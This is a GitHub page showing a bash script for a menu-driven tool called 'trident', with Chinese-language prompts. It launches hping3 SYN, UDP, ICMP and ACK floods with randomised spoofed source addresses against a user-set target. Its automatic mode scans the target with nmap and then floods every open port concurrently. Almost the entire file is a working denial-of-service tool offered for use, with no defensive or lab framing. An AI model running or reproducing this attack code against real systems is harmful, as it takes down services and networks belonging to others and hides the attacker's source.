-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrun.sh
executable file
·619 lines (543 loc) · 16.9 KB
/
run.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
#!/bin/bash
# Repository <https://github.com/sshpc/trident>
export LANG=en_US.UTF-8
# 全局变量
selfversion='0.5.1'
datevar=$(date +%Y-%m-%d_%H:%M:%S)
menuname='首页'
parentfun=''
installType='apt -y install'
removeType='apt -y remove'
upgrade="apt -y update"
release='linux'
# 获取 CPU 核心数
CONCURRENT_ATTACKS=$(nproc)
TARGET_IP=""
SOURCE_IP=""
DURATION=10
PACKET_SIZE=120
TARGET_PORT=80
# 目录和文件路径
TRIDENT_TMP_DIR="$HOME/trident_tmp"
CONFIG_FILE="$TRIDENT_TMP_DIR/config.conf"
LOG_FILE="$TRIDENT_TMP_DIR/run.log"
# 颜色定义
_red() {
printf '\033[0;31;31m%b\033[0m' "$1"
echo
}
_green() {
printf '\033[0;31;32m%b\033[0m' "$1"
echo
}
_yellow() {
printf '\033[0;31;33m%b\033[0m' "$1"
echo
}
_blue() {
printf '\033[0;31;36m%b\033[0m' "$1"
echo
}
# 等待输入
waitinput() {
echo
read -n1 -r -p "按任意键继续...(退出 Ctrl+C)"
}
# 加载动画
loadingbak() {
local pids=("$@")
local delay=0.1
local spinstr='|/-\'
tput civis # 隐藏光标
while :; do
local all_done=true
for pid in "${pids[@]}"; do
if kill -0 "$pid" 2>/dev/null; then
all_done=false
local temp=${spinstr#?}
printf "\r\033[0;31;36m[ %c ] 正在执行 ...\033[0m" "$spinstr"
local spinstr=$temp${spinstr%"$temp"}
sleep $delay
fi
done
[[ $all_done == true ]] && break
done
tput cnorm # 恢复光标
printf "\r\033[K" # 清除行
}
loading() {
local pids=("$@")
local delay=0.1
local spinstr='|/-\'
tput civis # 隐藏光标
local -A prev_cpu_idle prev_cpu_total
# 初始化CPU数据
while read -r line; do
if [[ $line =~ ^cpu([0-9]+)[[:space:]]+([0-9]+[[:space:]]+)+ ]]; then
local core="${BASH_REMATCH[1]}"
local values=(${line#* })
local idle=$((values[3] + values[4])) # idle + iowait
local total=0
for val in "${values[@]:0:8}"; do
((total += val))
done
prev_cpu_idle["$core"]=$idle
prev_cpu_total["$core"]=$total
fi
done < /proc/stat
local last_update=$(date +%s)
printf "\n" # 为CPU信息预留空行
while :; do
local current_time=$(date +%s)
# 每秒更新CPU和负载信息
if (( current_time - last_update >= 1 )); then
local -A current_cpu_idle current_cpu_total
while read -r line; do
if [[ $line =~ ^cpu([0-9]+)[[:space:]]+([0-9]+[[:space:]]+)+ ]]; then
local core="${BASH_REMATCH[1]}"
local values=(${line#* })
local idle=$((values[3] + values[4]))
local total=0
for val in "${values[@]:0:8}"; do
((total += val))
done
current_cpu_idle["$core"]=$idle
current_cpu_total["$core"]=$total
fi
done < /proc/stat
# 计算CPU使用率
local -A core_usage
for core in "${!current_cpu_idle[@]}"; do
if [[ -n "${prev_cpu_idle[$core]}" ]]; then
local diff_idle=$((current_cpu_idle[$core] - prev_cpu_idle[$core]))
local diff_total=$((current_cpu_total[$core] - prev_cpu_total[$core]))
if (( diff_total > 0 )); then
core_usage["$core"]=$(( (100 * (diff_total - diff_idle)) / diff_total ))
else
core_usage["$core"]=0
fi
fi
done
# 更新历史数据
for core in "${!current_cpu_idle[@]}"; do
prev_cpu_idle["$core"]=${current_cpu_idle[$core]}
prev_cpu_total["$core"]=${current_cpu_total[$core]}
done
# 获取负载信息
read -r load1 load5 load15 _ < /proc/loadavg
local cpu_info="CPU:"
for core in $(printf "%s\n" "${!core_usage[@]}" | sort -n); do
cpu_info+=" [${core_usage[$core]}%]"
done
cpu_info+=" | Load: ${load1} ${load5} ${load15}"
# 更新CPU信息显示
printf "\033[A\r\033[K%s" "$cpu_info"
printf "\033[B" # 光标移回进度行
last_update=$current_time
fi
# 检查进程状态
local all_done=true
for pid in "${pids[@]}"; do
if kill -0 "$pid" 2>/dev/null; then
all_done=false
break
fi
done
$all_done && break
# 更新旋转进度
printf "\r\033[0;36m[ %c ] 正在执行...\033[0m" "$spinstr"
spinstr=${spinstr:1}${spinstr:0:1}
sleep "$delay"
done
tput cnorm # 恢复光标
printf "\r\033[K" # 清除进度行
printf "\033[A\r\033[K" # 清除CPU信息行
}
# 字符跳动效果
jumpfun() {
local str=$1
local delay=${2:-0.05}
for ((i = 0; i < ${#str}; i++)); do
printf '\033[0;31;36m%b\033[0m' "${str:$i:1}"
sleep "$delay"
done
echo
}
#检查系统
checkSystem() {
if [[ -n $(find /etc -name "redhat-release") ]] || grep </proc/version -q -i "centos"; then
release="centos"
installType='yum -y install'
removeType='yum -y remove'
upgrade="yum update -y --skip-broken"
elif grep -q -i "debian" /etc/issue || grep -q -i "debian" /proc/version || grep -q -i "ID=debian" /etc/os-release; then
release="debian"
installType='apt -y install'
upgrade="apt update"
removeType='apt -y autoremove'
elif grep -q -i "ubuntu" /etc/issue || grep -q -i "ubuntu" /proc/version; then
release="ubuntu"
installType='apt -y install'
upgrade="apt update"
removeType='apt -y autoremove'
elif grep -q -i "Alpine" /etc/issue || grep -q -i "Alpine" /proc/version; then
release="alpine"
installType='apk add'
upgrade="apk update"
removeType='apk del' # 修正错误的删除命令
else
_red "不支持此系统"
exit 1
fi
}
# 优化检查依赖函数,添加错误处理
check_deps() {
local deps=('hping3' 'nmap' 'curl')
for dep in "${deps[@]}"; do
if ! command -v "$dep" &>/dev/null; then
_yellow "$dep 未安装,正在安装..."
if ! ${upgrade} || ! ${installType} "$dep"; then
_red "安装 $dep 失败,请检查网络或权限。"
exit 1
fi
fi
done
}
# 优化清理函数,使用更安全的方式终止子进程
cleanup() {
_yellow "清理中,杀掉所有子进程..."
local pids=$(jobs -p)
[ -n "$pids" ] && kill $pids
}
# 菜单头部
menutop() {
clear
_yellow " | v: $selfversion"
_yellow '| | |'
_yellow "__|__ 目标IP: $TARGET_IP"
_yellow ' | '
_yellow ' | '
_yellow " | OS: $release "
echo
_blue "当前菜单: $menuname "
echo
}
# 菜单渲染
menu() {
menutop
# 如果文件存在重新加载配置
if [[ -f "$CONFIG_FILE" ]]; then
source "$CONFIG_FILE"
fi
local options=("$@")
local num_options=${#options[@]}
local max_len=0
for ((i = 0; i < num_options; i += 2)); do
local str_len=${#options[i]}
((str_len > max_len)) && max_len=$str_len
done
for ((i = 0; i < num_options; i += 4)); do
printf "%s%*s " "$((i / 2 + 1)): ${options[i]}" "$((max_len - ${#options[i]}))"
[[ -n "${options[i + 2]}" ]] && printf "$((i / 2 + 2)): ${options[i + 2]}"
echo -e "\n"
done
_blue "q: 退出 b: 返回 0: 首页"
echo
read -ep "请输入命令号: " number
case "$number" in
[1-$((num_options / 2))])
local action_index=$((2 * (number - 1) + 1))
parentfun=${options[action_index]}
${options[action_index]}
waitinput
main
;;
0) main ;;
b) ${FUNCNAME[3]} ;;
q) exit ;;
*)
_red '输入错误'
waitinput
main
;;
esac
}
# 记录日志函数
log_action() {
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
local action_type=$1
local command=$2
echo "$timestamp | $action_type | $command" >>"$LOG_FILE"
}
# 封装保存配置到文件的函数
save_config() {
echo -e "TARGET_IP=$TARGET_IP\nDURATION=$DURATION\nPACKET_SIZE=$PACKET_SIZE\nTARGET_PORT=$TARGET_PORT\nSOURCE_IP=$SOURCE_IP" >"$CONFIG_FILE"
_green "配置已保存到 $CONFIG_FILE"
}
# 配置目标 IP
configure_target_ip() {
while true; do
read -ep "请输入目标IP: " target_ip
if [[ -z "$target_ip" ]]; then
_red "错误:IP地址不能为空"
continue
fi
if [[ "$target_ip" =~ ^([0-9]{1,3}\.){3}[0-9]{1,3}$ ]] || [[ "$target_ip" =~ ^([a-fA-F0-9]{1,4}:){7}[a-fA-F0-9]{1,4}$ ]]; then
TARGET_IP=$target_ip
break
else
_red "错误:无效的IP地址格式"
fi
done
save_config
}
# 配置数据包大小
configure_packet_size() {
read -ep "请输入数据包大小(默认 120): " packet_size
packet_size=${packet_size:-120}
PACKET_SIZE=$packet_size
save_config
}
# 配置持续时间
configure_duration() {
read -ep "请输入持续时间(秒,默认 10): " duration
duration=${duration:-10}
DURATION=$duration
save_config
}
# 配置目标端口
configure_target_port() {
read -ep "请输入目标端口(默认 80): " target_port
target_port=${target_port:-80}
TARGET_PORT=$target_port
save_config
}
configure_source_ip() {
read -ep "请输入源IP地址(为空则随机ip): " source_ip
SOURCE_IP=$source_ip
save_config
}
# 执行攻击的通用函数
execute_attack() {
local attack_type=$1
local attack_flag=$2
local target_ip=$3
local target_port=$4
local packet_size=$5
local duration=$6
local sourcepattern="--rand-source"
#判断来源IP不为空
if [[ -n "$SOURCE_IP" ]]; then
sourcepattern="-a $SOURCE_IP"
fi
log_action "Attack Start" "hping3 -c $((duration * 1000)) -d $packet_size $attack_flag -p $target_port --flood $sourcepattern $target_ip"
if [[ "$attack_type" == "ICMP" ]]; then
_yellow "攻击类型: $attack_type"
_yellow "目标: $target_ip"
_yellow "命令: hping3 -c $((duration * 1000)) -d $packet_size $attack_flag --flood $sourcepattern $target_ip"
hping3 -c $((duration * 1000)) -d "$packet_size" $attack_flag --flood $sourcepattern "$target_ip" &
else
_yellow "攻击类型: $attack_type"
_yellow "目标: $target_ip:$target_port"
_yellow "命令: hping3 -c $((duration * 1000)) -d $packet_size $attack_flag -p $target_port --flood $sourcepattern $target_ip"
hping3 -c $((duration * 1000)) -d "$packet_size" $attack_flag -p "$target_port" --flood $sourcepattern "$target_ip" &
fi
}
# 新增参数验证函数
validate_params() {
local required_params=("$@")
local need_prompt=false
# 检查必填参数对应的全局变量
for param in "${required_params[@]}"; do
case "$param" in
"IP")
if [[ -z "$TARGET_IP" ]]; then
_yellow "目标IP未配置"
configure_target_ip
need_prompt=true
fi
;;
"PORT")
if [[ -z "$TARGET_PORT" ]]; then
_yellow "目标端口未配置"
configure_target_port
need_prompt=true
fi
;;
"SIZE")
if [[ -z "$PACKET_SIZE" ]]; then
_yellow "数据包大小未配置"
configure_packet_size
need_prompt=true
fi
;;
"TIME")
if [[ -z "$DURATION" ]]; then
_yellow "持续时间未配置"
configure_duration
need_prompt=true
fi
;;
esac
done
# 保存最新配置
if [[ $need_prompt == true ]]; then
save_config
source "$CONFIG_FILE" # 重新加载配置
fi
}
# 手动攻击
hping3_attack() {
menuname="首页/HPING3攻击"
attack_menu() {
local attack_type=$1
local attack_flag=$2
if [[ "$attack_type" == "ICMP" ]]; then
validate_params "IP" "SIZE" "TIME"
else
validate_params "IP" "PORT" "SIZE" "TIME"
fi
jumpfun "开始执行攻击..."
local pids=()
for ((i = 0; i < CONCURRENT_ATTACKS; i++)); do
execute_attack "$attack_type" "$attack_flag" "$TARGET_IP" "$TARGET_PORT" "$PACKET_SIZE" "$DURATION"
pids+=($!) # 收集子进程 PID
done
loading "${pids[@]}" # 显示加载动画
wait # 等待所有子进程完成
jumpfun "攻击完成"
}
options=(
"SYN Flood" "attack_menu SYN -S"
"UDP Flood" "attack_menu UDP --udp"
"ICMP Flood" "attack_menu ICMP --icmp"
"ACK Flood" "attack_menu ACK -A"
)
menu "${options[@]}"
}
# 全自动攻击
auto_attack() {
menuname="首页/全自动攻击"
validate_params "IP"
_yellow "开始扫描目标的常用端口..."
local open_ports=$(nmap -p 1-1024,3306,3389,8080,8888,8443 --min-rate=1000 -T4 "$TARGET_IP" | grep 'open' | awk -F '/' '{print $1}')
_yellow "开放端口: $open_ports"
local attack_types=()
if [[ -n "$open_ports" ]]; then
for port in $open_ports; do
attack_types+=("SYN" "-S" "$port")
attack_types+=("ACK" "-A" "$port")
attack_types+=("UDP" "--udp" "$port")
done
else
attack_types+=("ICMP" "--icmp" "")
fi
jumpfun "开始自动攻击..."
local pids=()
#并发攻击
for ((i = 0; i < ${#attack_types[@]}; i += 3)); do
local attack_type=${attack_types[i]}
local attack_flag=${attack_types[i + 1]}
local target_port=${attack_types[i + 2]}
# 动态调整攻击参数
case "$attack_type" in
"UDP")
PACKET_SIZE=512 # 对于 UDP 攻击,增加数据包大小
;;
"ICMP")
DURATION=5 # 对于 ICMP 攻击,缩短持续时间
;;
"SYN" | "ACK")
PACKET_SIZE=120 # 对于 SYN/ACK 攻击,使用默认数据包大小
;;
esac
_yellow "执行 $attack_type 攻击..."
execute_attack "$attack_type" "$attack_flag" "$TARGET_IP" "$target_port" "$PACKET_SIZE" "$DURATION"
pids+=($!) # 收集子进程 PID
# 计算若超过cpu核数退出循环
if [[ ${#pids[@]} -gt $CONCURRENT_ATTACKS ]]; then
break
fi
done
loading "${pids[@]}"
wait # 等待所有子进程完成
_green "自动攻击完成"
}
# NMAP扫描函数
nmap_scan() {
menuname="首页/NMAP扫描"
validate_params "IP"
execute_scan() {
local scan_type=$1
local scan_flag=$2
_yellow "执行 $scan_type 扫描: $TARGET_IP"
nmap $scan_flag "$TARGET_IP" &
local pid=$!
loading $pid
wait $pid
jumpfun "扫描完成"
}
options=(
"快速扫描" "execute_scan Quick -F"
"全面扫描" "execute_scan Comprehensive -A"
"端口扫描" "execute_scan Ports -p-"
)
menu "${options[@]}"
}
# 升级脚本函数
update_script() {
wget -N http://raw.githubusercontent.com/sshpc/trident/main/run.sh
# 检查上一条命令的退出状态码
if [ $? -eq 0 ]; then
jumpfun '卸载旧版临时文件'
rm -rf $TRIDENT_TMP_DIR
jumpfun '更新成功'
chmod +x ./run.sh && ./run.sh
else
_red "下载失败,请重试"
fi
}
cat_log(){
_yellow "tail -20 $LOG_FILE"
tail -20 $LOG_FILE
}
# 高级设置
advanced_settings() {
menuname="首页/高级设置"
options=(
"配置-目标 IP" configure_target_ip
"配置-数据包大小" configure_packet_size
"配置-持续时间" configure_duration
"配置-目标端口" configure_target_port
"配置-来源 IP" configure_source_ip
)
menu "${options[@]}"
}
# 主菜单
main() {
# 加载配置文件
if [ -f "$CONFIG_FILE" ]; then
source "$CONFIG_FILE"
fi
menuname='首页'
options=(
"全自动攻击" auto_attack
"手动攻击" hping3_attack
"端口扫描" nmap_scan
"升级脚本" update_script
"高级设置" advanced_settings
"查看日志" cat_log
)
menu "${options[@]}"
}
# 检查系统
checkSystem
# 检查依赖
check_deps
# 检查并创建目录
if [ ! -d "$TRIDENT_TMP_DIR" ]; then
mkdir -p "$TRIDENT_TMP_DIR"
fi
# 脚本退出时清理
trap cleanup EXIT
main